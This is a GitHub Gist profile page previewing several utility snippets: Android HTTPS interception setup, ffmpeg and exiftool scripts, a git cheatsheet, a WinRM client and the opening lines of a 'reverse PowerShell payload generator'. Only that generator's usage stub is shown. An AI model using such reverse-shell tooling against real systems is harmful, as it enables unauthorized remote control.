Skip to content

Instantly share code, notes, and snippets.

@tothi
tothi / android_burp.txt
Last active August 15, 2024 20:24
android emulator setup with sniffer CA
OBSOLETE: moved to Magisk + Magisk Trust User Certs module.
Emulator setup with Magisk: https://gist.github.com/tothi/1a206791c8b77d7e42015183c980657e
Magisk Trust User Certs module: https://github.com/NVISOsecurity/MagiskTrustUserCerts
android emulator clean install + prepare for https proxy analysis
=================================================================
# clean up old packages
@tothi
tothi / fixts.sh
Last active May 15, 2019 08:37
fix ip camera stream timestamp recorded with ffmpeg segment option
#!/bin/bash
IFS=$'\n' ; for s in `ls stream_*.asf | head -n -1` ; do
ffmpeg -i ${s} -y -c:v copy -an -bsf:v h264_mp4toannexb ${s%.asf}.h264
ffmpeg -r 25 -y -i ${s%.asf}.h264 -c copy ${s%.asf}.mp4 && touch -r ${s} ${s%.asf}.mp4 && rm ${s%.asf}.h264 $s
done
@tothi
tothi / mkpsrevshell.py
Created February 17, 2019 00:05
reverse PowerShell cmdline payload generator (base64 encoded)
#!/usr/bin/env python3
#
# generate reverse powershell cmdline with base64 encoded args
#
import sys
import base64
def help():
print("USAGE: %s IP PORT" % sys.argv[0])
@tothi
tothi / winrm-interactive.rb
Created February 10, 2019 20:17
interactive remote powershell (winrm) with client certificate auth
#!/usr/bin/ruby
#
# https://github.com/WinRb/WinRM
#
require 'winrm'
opts = {
endpoint: 'https://xxx.xxx.xxx.xxx:5986/wsman',
transport: :ssl,
client_cert: 'certs/MyClient.cer',

Keybase proof

I hereby claim:

  • I am tothi on github.
  • I am tothi (https://keybase.io/tothi) on keybase.
  • I have a public key whose fingerprint is 485B 0C27 A19A D1E1 302F A86F F4A7 D558 7B40 6D08

To claim this, I am signing this object:

@tothi
tothi / photo_batch_rename_HOWTO.txt
Last active April 23, 2019 19:57
organize photos based on date taken and creator device
# fix time for Sony camera images
exiftool -v0 "-AllDates+=1" -overwrite_original DSC*
# exactly (diff is 1 hour -4 min):
exiftool -v0 "-AllDates+=0:56" -overwrite_original DSC*
# NOTE: cant modify MTS files ;(
# batch rename all files (except mp4) in dir based on exif date + model (dry test run)
exiftool --ext mp4 -v0 -d %Y%m%d_%H%M%S%%-c '-testname<${DateTimeOriginal}_${Model;s/[ -]//g}.%e' .
@tothi
tothi / gcstar-win32
Last active December 18, 2020 15:39
# quick note about running GCstar (collection manager) on Win32 (x64)
[GCstar homepage](http://www.gcstar.org/index.en.php)
[project](https://gna.org/projects/gcstar) is hosted on [Gna!](https://gna.org)
current version is 1.7.1
win32 full-featured installer is available up to [1.6.1](http://download.gna.org/gcstar/win32/GCstar_1.6.1_Setup.exe)
@tothi
tothi / git_cheatsheet.txt
Last active August 15, 2024 20:26
git cheatsheet for basic things
# git cheatsheet: some basic git instructions (w.i.p.)
# create bare repo for an existing source tree
git init --bare project.git
cd project.git
# edit exclude
edit info/exclude
# add files to bare repo